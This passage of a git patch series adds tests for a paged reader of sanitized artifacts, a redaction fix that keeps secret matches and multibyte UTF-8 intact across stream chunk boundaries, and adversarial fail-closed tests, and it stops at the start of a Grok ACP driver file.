assert.equal(projected.includes(path.basename(root)), false); + JSON.parse(projected); + const mutated = { ...ref, media_type: 'application/json' }; + assert.equal(page.artifact_ref.media_type, 'text/plain'); + assert.equal(mutated.media_type, 'application/json'); + }); +}); + +test('range pages are deterministic and reconstruct the sanitized artifact', async () => { + const bytes = Buffer.alloc(64, 0); + for (let index = 0; index < bytes.length; index += 1) bytes[index] = index; + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/pages.bin' }, async ({ store, ref }) => { + const pageSize = 16; + const parts = []; + let offset = 0; + let pages = 0; + while (true) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: pageSize }); + assertPageShape(page); + assert.equal(page.offset, offset); + assert.equal(page.max_bytes, pageSize); + const slice = decodeSelected(page); + assert.equal(slice.equals(bytes.subarray(offset, offset + slice.length)), true); + const again = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: pageSize }); + assert.equal(again.selected_content, page.selected_content); + assert.equal(again.next_offset, page.next_offset); + parts.push(slice); + pages += 1; + if (!page.more) break; + offset = page.next_offset; + } + assert.equal(pages, 4); + assert.equal(Buffer.concat(parts).equals(bytes), true); + }); +}); + +test('range and cap boundaries include empty EOF and single-byte windows', async () => { + await withPublished(PAYLOAD, {}, async ({ store, ref }) => { + const empty = await readSanitizedArtifactV1(store, ref, { offset: PAYLOAD.length, max_bytes: 8 }); + assertPageShape(empty); + assert.equal(empty.selected_byte_length, 0); + assert.equal(empty.selected_content, ''); + assert.equal(empty.more, false); + assert.equal(empty.reader_clipped, false); + + const none = await readSanitizedArtifactV1(store, ref, { offset: 0, max_bytes: 0 }); + assert.equal(none.selected_byte_length, 0); + assert.equal(none.more, true); + assert.equal(none.next_offset, 0); + assert.equal(none.reader_clipped, false); + + const last = await readSanitizedArtifactV1(store, ref, { + offset: PAYLOAD.length - 1, max_bytes: 1, + }); + assert.equal(decodeSelected(last).equals(PAYLOAD.subarray(PAYLOAD.length - 1)), true); + assert.equal(last.more, false); + + await errorOfAsync( + () => readSanitizedArtifactV1(store, ref, { offset: PAYLOAD.length + 1, max_bytes: 1 }), + 'out_of_range', + 'offset', + ); + }); +}); + +test('raw ArtifactRefV1 is denied before any artifact I/O', async () => { + await withStore(async ({ store, root }) => { + const raw = Buffer.from('owner-only raw evidence that must never face the model'); + const rawRef = refFor(raw, { artifact_class: 'raw', relative_path: 'runs/run-store-01/raw/secret.bin' }); + await store.publish(rawRef, raw); + const error = await errorOfAsync( + () => readSanitizedArtifactV1(store, rawRef), + 'raw_artifact_denied', + 'artifact_ref.artifact_class', + ); + assert.equal(error.message.includes(root), false); + assert.equal(error.message.includes('secret'), false); + assert.equal(error.message.includes(raw.toString('utf8')), false); + assert.equal((await store.verifyArtifact(rawRef)).verified, true); + }); +}); + +test('disjoint raw and sanitized siblings at one path: only sanitized is readable', async () => { + await withStore(async ({ store }) => { + const shared = 'runs/run-store-01/shared/report.bin'; + const sanitized = Buffer.from('model-facing projection'); + const raw = Buffer.from('owner-only local evidence'); + const sanitizedRef = refFor(sanitized, { relative_path: shared }); + const rawRef = refFor(raw, { relative_path: shared, artifact_class: 'raw', assignment_id: CHILD_B }); + await store.publish(sanitizedRef, sanitized); + await store.publish(rawRef, raw); + const page = await readSanitizedArtifactV1(store, sanitizedRef); + assert.equal(decodeSelected(page).equals(sanitized), true); + await errorOfAsync(() => readSanitizedArtifactV1(store, rawRef), 'raw_artifact_denied'); + }); +}); + +test('a max-range page of a larger artifact pages rather than claiming completeness', async () => { + const bytes = Buffer.alloc(ARTIFACT_READER_MAX_RANGE_BYTES + 64, 0x61); + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/large.bin' }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assertPageShape(page); + assert.equal(page.byte_length, bytes.length); + assert.ok(page.selected_byte_length <= ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.more, true); + assert.equal(typeof page.next_offset, 'number'); + assert.equal(page.complete, null); + assert.equal(page.upstream_truncated, null); + const rest = await readSanitizedArtifactV1(store, ref, { + offset: page.next_offset, + max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + assert.equal(Buffer.concat([decodeSelected(page), decodeSelected(rest)]).equals(bytes), true); + }); +}); + +test('a long relative path plus a max range is clipped by the wire cap, not marked upstream-truncated', async () => { + const bytes = Buffer.alloc(ARTIFACT_READER_MAX_RANGE_BYTES, 0x62); + await withPublished(bytes, { relative_path: longRelativePath() }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { + offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + assertPageShape(page); + assert.equal(page.reader_clipped, true); + assert.equal(page.more, true); + assert.ok(page.selected_byte_length < ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.upstream_truncated, null); + assert.equal(page.complete, null); + assert.equal(decodeSelected(page).equals(bytes.subarray(0, page.selected_byte_length)), true); + }); +}); + +test('Unicode bytes round-trip and a range may split a multibyte sequence', async () => { + const text = Buffer.from('日本語🎨 café', 'utf8'); + await withPublished(text, { + relative_path: 'runs/run-store-01/lane-日本語/note-🎨.md', + media_type: 'text/markdown', + }, async ({ store, ref }) => { + const full = await readSanitizedArtifactV1(store, ref); + assert.equal(decodeSelected(full).equals(text), true); + const split = await readSanitizedArtifactV1(store, ref, { offset: 1, max_bytes: 1 }); + assert.equal(split.selected_byte_length, 1); + assert.equal(decodeSelected(split)[0], text[1]); + }); +}); + +test('invalid UTF-8 and interior NUL bytes stay exact base64 ranges', async () => { + const binary = Buffer.from([0xff, 0xfe, 0x00, 0x01, 0x80, 0x7f]); + await withPublished(binary, { + relative_path: 'runs/run-store-01/lane-alpha/binary.bin', + media_type: 'application/octet-stream', + }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assert.equal(decodeSelected(page).equals(binary), true); + JSON.stringify(page); + }); +}); + +test('content_encoding on the ref does not reinterpret stored byte offsets', async () => { + const bytes = Buffer.from('not-really-base64-payload'); + await withPublished(bytes, { + relative_path: 'runs/run-store-01/lane-alpha/encoded.bin', + content_encoding: 'base64', + }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { offset: 4, max_bytes: 7 }); + assert.equal(decodeSelected(page).equals(bytes.subarray(4, 11)), true); + assert.equal(page.selected_encoding, 'base64'); + }); +}); From aca00c1f7d822a84c9a453beb70391cbbaf16993 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:08:08 +0000 Subject: [PATCH 18/81] feat(redaction): protect chunk-boundary secrets and Unicode Hold a finite decoded overlap so credential, bearer, env, URL, and prompt matches that straddle ingest chunks redact identically to the unsplit source. Streaming UTF-8 decode preserves astral sequences across every byte split, and malformed or unpaired input becomes U+FFFD deterministically without clipping a truncated multi-byte sequence. --- .../mcp/v3/artifact-sanitizer.mjs | 59 +++++++++- .../r1-artifact-sanitizer-fixtures.mjs | 5 +- .../test/r1-artifact-sanitizer.test.mjs | 110 ++++++++++++++++++ 3 files changed, 167 insertions(+), 7 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs index 7d24bd2..74c2f36 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs @@ -135,6 +135,7 @@ const IS_PROXY = utilTypes.isProxy; const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; const MATH_MIN = Math.min; +const MATH_MAX = Math.max; const REGEXP_CTOR = RegExp; const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; @@ -211,6 +212,35 @@ function addCounts(target, extra) { target.prompts += extra.prompts; } +function isHighSurrogate(code) { + return code >= 0xd800 && code <= 0xdbff; +} + +function isLowSurrogate(code) { + return code >= 0xdc00 && code <= 0xdfff; +} + +// Deterministic well-formed projection: unpaired UTF-16 surrogates become +// U+FFFD so sanitized UTF-8 never carries an unpaired surrogate. Astral +// pairs are preserved intact. +function wellFormedText(value) { + const text = STRING(value ?? ''); + if (typeof text.toWellFormed === 'function') return text.toWellFormed(); + let output = ''; + for (let index = 0; index < text.length; index += 1) { + const code = text.charCodeAt(index); + if (isHighSurrogate(code) && isLowSurrogate(text.charCodeAt(index + 1))) { + output += text.slice(index, index + 2); + index += 1; + } else if (isHighSurrogate(code) || isLowSurrogate(code)) { + output += '\uFFFD'; + } else { + output += text[index]; + } + } + return output; +} + function makeDecoder() { return new TEXT_DECODER_CTOR('utf-8', { fatal: false, ignoreBOM: false }); } @@ -354,19 +384,37 @@ function emitSanitized(session, text) { session.sanitizedBytes += bytes.byteLength; } -function commitPending(session) { +function commitPending(session, isFinal) { const text = session.pending; if (text.length === 0) return; - const redacted = redactRegion(text); + const overlap = isFinal ? 0 : ARTIFACT_SANITIZER_OVERLAP_CHARS; + const limit = isFinal ? text.length : MATH_MAX(0, text.length - overlap); + if (limit === 0 && !isFinal) return; + + let commitEnd = limit; + if (!isFinal) { + const selected = selectMatches(findAllMatches(text)); + for (let index = 0; index < selected.length; index += 1) { + const match = selected[index]; + if (match.index < limit && match.end > limit) { + commitEnd = MATH_MIN(commitEnd, match.index); + break; + } + } + } + + if (commitEnd <= 0) return; + const region = text.slice(0, commitEnd); + const redacted = redactRegion(region); addCounts(session.counts, redacted.counts); emitSanitized(session, redacted.text); - session.pending = ''; + session.pending = text.slice(commitEnd); } function feedDecoded(session, decoded) { if (decoded.length === 0) return; - session.pending += decoded; - commitPending(session); + session.pending += wellFormedText(decoded); + commitPending(session, false); } function feedView(session, view) { @@ -394,6 +442,7 @@ function feedView(session, view) { function finishSession(session) { const tail = session.decoder.decode(); feedDecoded(session, tail); + commitPending(session, true); if (session.received !== session.declaredLength) { failSanitizer('artifact_length_mismatch', 'artifact_ref.byte_length', 'Actual artifact length does not match the declared byte length; nothing was published.'); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs index bbc3079..edb3fd1 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs @@ -254,6 +254,7 @@ export const SAMPLES = Object.freeze({ export const MALFORMED_RAW = Buffer.from([0x61, 0xff, 0x62, 0x0a]); export const MALFORMED_SANITIZED = Buffer.from('a\uFFFDb\n', 'utf8'); -// U+D800 encoded as UTF-8 (ED A0 80) is malformed; decoder emits U+FFFD. +// U+D800 encoded as UTF-8 (ED A0 80) is malformed; the streaming decoder +// emits one U+FFFD per invalid unit, which is three replacements here. export const UNPAIRED_RAW = Buffer.from([0x61, 0xed, 0xa0, 0x80, 0x62, 0x0a]); -export const UNPAIRED_SANITIZED = Buffer.from('a\uFFFDb\n', 'utf8'); +export const UNPAIRED_SANITIZED = Buffer.from('a\uFFFD\uFFFD\uFFFDb\n', 'utf8'); diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs index 721284c..8d309ea 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs @@ -24,15 +24,21 @@ import { } from '../mcp/v3/artifact-ref.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { + byteSplits, CHILD_A, CHILD_B, chunksOf, digestOf, makeStoreRoot, + MALFORMED_RAW, + MALFORMED_SANITIZED, rawRefFor, removeRoot, RUN_ID, SAMPLES, + splitAt, + UNPAIRED_RAW, + UNPAIRED_SANITIZED, } from './fixtures/r1-artifact-sanitizer-fixtures.mjs'; async function errorOfAsync(action, expectedCode, expectedPath) { @@ -297,6 +303,110 @@ test('provenance and denials are content-free', async () => { }); }); +test('secrets split across a chunk boundary redact to the same bytes and counts', async () => { + await withStore(async (store) => { + const cases = [ + ['credential', SAMPLES.credentialFormat, 9], + ['bearer', SAMPLES.bearer, 20], + ['env', SAMPLES.envAssignment, 16], + ['url', SAMPLES.urlCredential, 18], + ['prompt', SAMPLES.prompt, 12], + ]; + for (const [name, sample, offset] of cases) { + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unsplit-${name}.txt`, + }), + source: sample.raw, + }); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/split-${name}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest, name); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized), name); + assert.deepEqual(provenance.redaction_counts, sample.counts, name); + } + }); +}); + +test('one-byte streams and mixed-policy splits stay deterministic', async () => { + await withStore(async (store) => { + const sample = SAMPLES.mixed; + const viaBytes = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: byteSplits(sample.raw), + }); + assertProvenanceShape(viaBytes, sample); + const viaFive = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/mixed.txt`, + }), + source: chunksOf(sample.raw, 5), + }); + assert.equal(viaFive.sanitized_digest, viaBytes.sanitized_digest); + assert.deepEqual(viaFive.redaction_counts, sample.counts); + }); +}); + +test('astral UTF-8 sequences survive every split without clipping', async () => { + await withStore(async (store) => { + const sample = SAMPLES.astral; + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assertProvenanceShape(unsplit, sample); + for (let offset = 0; offset <= sample.raw.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/astral-${offset}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + } + }); +}); + +test('malformed and unpaired UTF-8 become U+FFFD deterministically', async () => { + await withStore(async (store) => { + const malformed = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW), + source: MALFORMED_RAW, + }); + assert.equal(malformed.sanitized_digest, digestOf(MALFORMED_SANITIZED)); + const malformedSplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/malformed-split.txt`, + }), + source: splitAt(MALFORMED_RAW, 2), + }); + assert.equal(malformedSplit.sanitized_digest, malformed.sanitized_digest); + + const unpaired = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired.txt`, + }), + source: UNPAIRED_RAW, + }); + assert.equal(unpaired.sanitized_digest, digestOf(UNPAIRED_SANITIZED)); + for (let offset = 1; offset < UNPAIRED_RAW.byteLength; offset += 1) { + const split = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired-${offset}.txt`, + }), + source: splitAt(UNPAIRED_RAW, offset), + }); + assert.equal(split.sanitized_digest, unpaired.sanitized_digest); + } + }); +}); + test('unknown option keys and missing required keys fail closed', async () => { await withStore(async (store) => { const sample = SAMPLES.plain; From d80a8fdf3ef8ab9940543cd2fd86c333ebac779f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:12:11 +0000 Subject: [PATCH 19/81] test(redaction): add split-token and oversized-stream cases Pin every byte-split of credential, bearer, env, URL, prompt, and astral/malformed/unpaired UTF-8 streams to the unsplit digest and counts. Fail closed on over-cap, endless, huge, short, and over- declared sources without publishing, and deny Proxy, revoked Proxy, subclass, SharedArrayBuffer, accessor, arbitrary, and invalid chunk sources with content-free errors. --- ...r1-artifact-sanitizer-adversarial.test.mjs | 388 ++++++++++++++++++ 1 file changed, 388 insertions(+) create mode 100644 plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs new file mode 100644 index 0000000..5e484b5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs @@ -0,0 +1,388 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + ARTIFACT_SANITIZER_REPLACEMENT, + sanitizeAndPublishArtifactV1, +} from '../mcp/v3/artifact-sanitizer.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + accessorIterable, + CHILD_A, + digestOf, + emptyStream, + endlessSource, + makeStoreRoot, + MALFORMED_RAW, + MALFORMED_SANITIZED, + rawRefFor, + removeRoot, + RUN_ID, + SAMPLES, + shortSource, + splitAt, + stringChunkSource, + SubclassedBytes, + throwingSource, + UNPAIRED_RAW, + UNPAIRED_SANITIZED, +} from './fixtures/r1-artifact-sanitizer-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + const text = bytes.toString('utf8'); + if (text.trim().length > 0) { + assert.equal(message.includes(text.trim()), false, 'error echoed artifact bytes'); + } + } + assert.equal(message.includes('sk-live-secret'), false); + assert.equal(message.includes('super-secret-value'), false); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('every byte split of credentials, prompts, and UTF-8 is deterministic', async () => { + await withStore(async (store) => { + const cases = [ + ['credential', SAMPLES.credentialFormat], + ['bearer', SAMPLES.bearer], + ['env', SAMPLES.envAssignment], + ['url', SAMPLES.urlCredential], + ['prompt', SAMPLES.prompt], + ['astral', SAMPLES.astral], + ]; + for (const [name, sample] of cases) { + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/unsplit/${name}.txt`, + }), + source: sample.raw, + }); + assert.equal(unsplit.sanitized_digest, digestOf(sample.sanitized), name); + for (let offset = 0; offset <= sample.raw.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/splits/${name}/${offset}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest, `${name}@${offset}`); + assert.deepEqual(provenance.redaction_counts, sample.counts, `${name}@${offset}`); + assert.equal(provenance.source_digest, digestOf(sample.raw), `${name}@${offset}`); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength, `${name}@${offset}`); + } + } + }); +}); + +test('malformed and unpaired UTF-8 splits never clip and stay pinned', async () => { + await withStore(async (store) => { + const malformed = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW), + source: MALFORMED_RAW, + }); + assert.equal(malformed.sanitized_digest, digestOf(MALFORMED_SANITIZED)); + const unpaired = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired.txt`, + }), + source: UNPAIRED_RAW, + }); + assert.equal(unpaired.sanitized_digest, digestOf(UNPAIRED_SANITIZED)); + for (const [label, bytes, expected] of [ + ['malformed', MALFORMED_RAW, malformed], + ['unpaired', UNPAIRED_RAW, unpaired], + ]) { + for (let offset = 0; offset <= bytes.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(bytes, { + relative_path: `runs/${RUN_ID}/unicode/${label}-${offset}.txt`, + }), + source: splitAt(bytes, offset), + }); + assert.equal(provenance.sanitized_digest, expected.sanitized_digest, `${label}@${offset}`); + } + } + }); +}); + +test('oversized, endless, huge, short, and over-declared streams fail without publication', async () => { + await withStore(async (store, root) => { + const overSanitized = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); + const overSanitizedError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(overSanitized, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/over-sanitized.txt`, + }), + source: overSanitized, + }), + 'artifact_stream_over_cap', + 'sanitized', + ); + assertContentFree(overSanitizedError, root, overSanitized); + + const atRawCap = rawRefFor(Buffer.alloc(1, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/over-raw.txt`, + byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH, + sha256: 'ab'.repeat(32), + }); + const overRawError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: atRawCap, + source: Buffer.alloc(MAX_RAW_ARTIFACT_BYTE_LENGTH + 1, 0x61), + }), + 'artifact_stream_over_cap', + 'source', + ); + assertContentFree(overRawError, root); + + const endlessError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(Buffer.alloc(1, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/endless.txt`, + byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH, + sha256: 'ab'.repeat(32), + }), + source: endlessSource(), + }), + 'artifact_stream_over_cap', + ); + assertContentFree(endlessError, root); + + const declared = rawRefFor(Buffer.alloc(16, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/short.txt`, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: shortSource(16, 4), + }), + 'artifact_length_mismatch', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: emptyStream(), + }), + 'artifact_length_mismatch', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: (async function* grow() { + yield Buffer.alloc(16, 0x61); + yield Buffer.alloc(2, 0x61); + })(), + }), + 'artifact_length_mismatch', + ); + + const streamError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: throwingSource(new Error('secret internals about the host filesystem')), + }), + 'artifact_stream_failed', + ); + assert.equal(streamError.message.includes('secret internals'), false); + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('proxy, revoked proxy, subclass, shared buffer, accessor, and arbitrary streams fail closed', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.credentialFormat; + const ref = rawRefFor(sample.raw); + + const { proxy, counts } = countingProxy(sample.raw); + const proxyError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: proxy }), + 'proxy_denied', + ); + assertContentFree(proxyError, root, sample.raw); + assert.equal(trapTotal(counts), 0); + + const { proxy: revoked, revoke } = Proxy.revocable(sample.raw, { + get() { throw new Error('revoked get'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revoked), true); + const revokedError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: revoked }), + 'proxy_denied', + ); + assertContentFree(revokedError, root, sample.raw); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: ref, + source: new SubclassedBytes(sample.raw.byteLength), + }), + 'artifact_stream_invalid_source', + ); + + const shared = new Uint8Array(new SharedArrayBuffer(8)); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: shared }), + 'artifact_stream_invalid_source', + ); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: 'text' }), + 'artifact_stream_invalid_source', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: 42 }), + 'artifact_stream_invalid_source', + ); + + const trapLog = { iteratorGetter: 0 }; + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: accessorIterable(trapLog) }), + 'artifact_stream_invalid_source', + ); + assert.equal(trapLog.iteratorGetter, 0); + + class FakeStream { + async *[Symbol.asyncIterator]() { yield sample.raw; } + } + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: new FakeStream() }), + 'artifact_stream_invalid_source', + ); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: stringChunkSource() }), + 'artifact_stream_invalid_chunk', + ); + + let getterRuns = 0; + const accessorOptions = { + artifact_ref: ref, + source: sample.raw, + }; + Object.defineProperty(accessorOptions, 'source_truncated', { + enumerable: true, + get() { + getterRuns += 1; + return true; + }, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, accessorOptions), + 'accessor_property_denied', + ); + assert.equal(getterRuns, 0); + + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('declared digest mismatch, caller regex, and option hostility fail content-free', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.mixed; + const digestError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { sha256: 'cd'.repeat(32) }), + source: sample.raw, + }), + 'artifact_digest_mismatch', + ); + assertContentFree(digestError, root, sample.raw); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + policy: { regex: /secret/u }, + }), + 'unknown_key', + ); + + const { proxy, counts } = countingProxy(rawRefFor(sample.raw)); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: proxy, source: sample.raw }), + 'proxy_denied', + ); + assert.equal(trapTotal(counts), 0); + + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('idempotent replay, conflict, truncation, and class separation stay truthful', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.github; + const first = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assert.equal(first.complete, false); + assert.equal(first.source_truncated, true); + assert.equal(first.sanitized_digest, digestOf(sample.sanitized)); + assert.deepEqual(first.redaction_counts, sample.counts); + + const replay = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assert.equal(replay.sanitized_digest, first.sanitized_digest); + assert.equal(replay.source_digest, first.source_digest); + assert.equal((await store.verifyArtifact(first.raw_ref)).verified, true); + assert.equal((await store.verifyArtifact(first.sanitized_ref)).verified, true); + + const other = Buffer.from('conflicting sanitizer payload\n'); + const conflict = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(other), + source: other, + }), + 'artifact_content_conflict', + ); + assertContentFree(conflict, root, other); + + const report = await store.audit(); + assert.equal(report.artifacts, 2); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + const projected = JSON.stringify(first); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes('ghs_abcdefghijklmnop'), false); + assert.equal(projected.includes(ARTIFACT_SANITIZER_REPLACEMENT), false); + }); +}); From 04c904c4dac70ebd200ed467fc9e1f64de0bd3da Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:14:12 +0000 Subject: [PATCH 20/81] feat(grok): add the Grok ACP ProviderDriverV1 adapter Bind provider slot grok onto the accepted P17 preflight/launch/reconcile/cancel contract and the P05 13-field capability record. An injected bounded ACP transport confirms launch only after acknowledgement; post-spawn loss is dispatch_uncertain and is never replayed. --- .../mcp/v3/grok-acp-driver.mjs | 1122 +++++++++++++++++ 1 file changed, 1122 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs new file mode 100644 index 0000000..3c1ea2d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs @@ -0,0 +1,1122 @@ +// Grok ACP ProviderDriverV1 adapter (P18). +// +// Additive v3 module. It owns ONLY the Grok-specific binding of the accepted +// P17 envelope/capability contract onto an injected bounded ACP transport: +// - provider slot is exactly `grok` with the exact selected model; +// - launch proof is the P03 ChildEnvelopeV1 text bytes plus raw lowercase +// 64-hex digest (digest-only launches stay denied by P17); +// - capability declaration is the accepted P05/P17 13-field record +// 